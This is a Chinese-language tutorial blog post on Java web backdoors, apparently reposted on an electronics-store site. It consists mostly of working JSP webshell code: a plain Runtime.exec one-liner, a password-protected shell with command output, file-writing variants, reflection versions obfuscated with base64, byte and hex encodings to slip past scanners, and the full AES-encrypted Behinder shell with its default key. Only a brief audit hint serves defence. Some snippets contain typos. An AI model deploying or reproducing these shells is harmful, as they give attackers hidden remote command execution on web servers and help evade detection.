资讯详情

Java安全-Java Web后门学习 Jsp 一句话分析

文章目录

  • Java Web后门
    • 一句话木马
    • 反射调用
    • 类加载(实现冰蝎马)
    • ELSE
    • 参考

Java Web后门

Java 是强型语言,不能像 PHP 使用字符串组合作为系统函数

Java 命令执行函数中常用的命令执行函数

  1. java.lang.Runtime.exec()
  2. java.lang.ProcessBuilder.start()

一句话木马

最简单的 jsp 一句话木马

<% Runtime.getRuntime().exec(request.getParameter("i"));%> 

其实这就和 PHP 一句话一样

<?PHP eval($GET_['i']);?> 

但是 jsp 一句话没有显示,看不到返回信息,通常用于反弹 shell,下面的代码有回显,需要密码验证 jsp 木马

<%     if ("ocean".equals(request.getParameter("pwd"))) {         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();         int a = -1;         byte[] b = new byte[2048];         out.print("<pre>");         while ((a = in.read(b)) != -1) {             out.print(new String(b));         }         out.print("</pre>");     }  %> 

Runtime 类包装运行环境。每个类包装。 Java 有一个应用程序 Runtime 类实例,使应用程序与其运行环境相连。 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 与应用程序相关的操作对象。获得实例后调用 exec() 系统命令执行方法

request 为 JSP 内置对象,getParameter() 获取请求参数的方法 cmd值构建命令

其中:HTML里的 pre 标签,可定义预格式文本。在 pre 元素中的文本将保留空格和换行符。文本显示为等宽字体,在保持文本格式时经常使用 pre 例如,当我们想显示源代码时,只要放一个标签 pre 然后直接复制和粘贴源代码,然后在页面上保持良好的格式。不会像其他标签那样自动折叠换行和空格

执行效果如下

Windows 操作系统可能会带来乱码问题,可以在文件头添加以下两句话来解决

<%@ page contentType="text/html;charset=GBK"%> <%@ page contentType="text/html;charset=gb2312"%> 

当然,除了显示数据外,还可以写在执行文件中

<%new java.io.FileOutputStream(request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%> 

或者写入 web 目录

<%new java.io.FileOutputStream(application.getRealPath("/") "/" request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%> 

这是最简单的一句话,在审计中很容易找到

反射调用

因为反射可以调用各种私有方法,所以反射的后门更多

<%@page contentType="text/html; charset=UTF-8" language="java" %> <%@page import="sun.misc.BASE64Decoder" %> <%@page import="java.lang.reflect.Method" %> <%     BASE64Decoder base64Decoder = new BASE64Decoder();     Class runtime = Class.forName(new String(base64Decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));     Process method = (Process) runtime.getMethod(new String(base64Decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(runtime.getMethod(new String(base64Decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[] {     }), request.getParameter("cmd"));      java.io.InputStream in = method.getInputStream();     int a = -1;     byte[] b = new byte[2048];     out.print("<pre>");     while ((a = in.read(b)) != -1) {         out.print(new String(b));     }     out.print("</pre>"); %> 

重点是这个代码

去掉 base64 以下代码

Class runtime = Class.forName("java.lang.Runtime"); Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[] request.getParameter("cmd")); 

非常经典的反射

不直接使用调用方法构建后门,而是使用动态加载,将要调用的类和函数放在字符串的位置,然后使用变形隐藏关键函数,这里使用 base同样可以使用64 hex 和 ascii 的编码绕过

<%@ page contentType="text/html;charset=UTF-8"  language="java" %> <%     if(request.getParameter("cmd")!=null){         Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));         Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );         java.io.InputStream in = e.getInputStream();         int a = -1;byte[] b = new byte[2048];out.print("<pre>");         while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");     } %> 

<% page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
        Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>

类加载(冰蝎马实现方式)

对于类加载是直接传送二进制的字节码(

java 执行代码的时候要先编译成 .class 字节码的文件才能被 jvm 所执行。如果实现任意 class 文件的加载,相当于实现了 php 中 eval 命令执行函数,即可以做到将字符串作为代码来执行

  1. 新建文件 Calc.java 首先写一个命令执行的类,调用 calc

    import java.io.IOException;
    public class Calc {
        @Override
        public String toString() {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
            return "OK";
        }
    }
    

    然后使用命令编译生成字节码文件

    javac .Calc.java
    

  2. 主运行程序类 Loader

    import sun.misc.BASE64Decoder;
    import sun.misc.BASE64Encoder;
    
    import java.io.File;
    import java.io.FileInputStream;
    
    public class Loader {
        //实现二进制文件转成base64
        public static String encodeBase64File(String path) throws Exception {
            File file = new File(path);
            ;
            FileInputStream inputFile = new FileInputStream(file);
            byte[] buffer = new byte[(int) file.length()];
            inputFile.read(buffer);
            inputFile.close();
            return new BASE64Encoder().encode(buffer);
    
        }
    
        public static class Myloader extends ClassLoader //继承ClassLoader
        {
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
    
        public static void main(String[] args) throws Exception {
            String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMb2JmdXNjYXRlL0NhbGM7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAeAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACgALBwAjDAAkACUBAAhjYWxjLmV4ZQwAJgAnAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAKAALAQACT0sBAA5vYmZ1c2NhdGUvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABAAOAAAADAABAAAABQAPABAAAAABABEAEgABAAwAAABtAAIAAgAAABS4AAISA7YABFenAAhMK7YABhIHsAABAAAACQAMAAUAAwANAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADgAAABYAAgANAAQAEwAUAAEAAAAUAA8AEAAAABUAAAAHAAJMBwAWBAABABcAAAACABg="; // Calc.class的base64编码
            BASE64Decoder code = new sun.misc.BASE64Decoder();
    //        String re = encodeBase64File("C:\Users\q2723\Desktop\Calc.class");
    //        System.out.println(re);
            Class result = new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
            System.out.println(result.newInstance().toString());
        }
    }
    

    注意修改 class 文件所在位置

成功执行系统命令

代码重点就在红框中,正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[] 直接转换为 Class,因为该方法是 protected 的,我们没办法在外部直接调用,可以通过直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法

这样传入的二进制字节码 class 文件直接就加载执行了,真的有点 PHP EVAL 的感觉了

这个 Demo 就是冰蝎实现服务端(即上传到目标机器的 jsp 马)的原型,具体可以看这篇文章:利用动态二进制加密实现新型一句话木马之Java篇

作者在进行简化成了一行,这就是现在用的冰蝎的 jsp 马,具有动态解密功能的、能解析执行任意二进制流的新型一句话木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

对于此类后门通常采用后门扫描工具检测,人工审计时要关注加密函数 BASE64Decoder() 以及 SecretKeySpec()

ELSE

  • JDK 新特性

    利用 Lambda 表达式编写的 JSP 一句话木马

    访问接口中的默认方法 Reduce 来编写 JSP 一句话木马

  • 各种表达式

  • 内存马

可以看参考文章,其中提及了很多方式

参考

利用动态二进制加密实现新型一句话木马之Java篇

jsp一句话木马

《Java 代码审计入门》

WebShell免杀之JSP

标签: syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台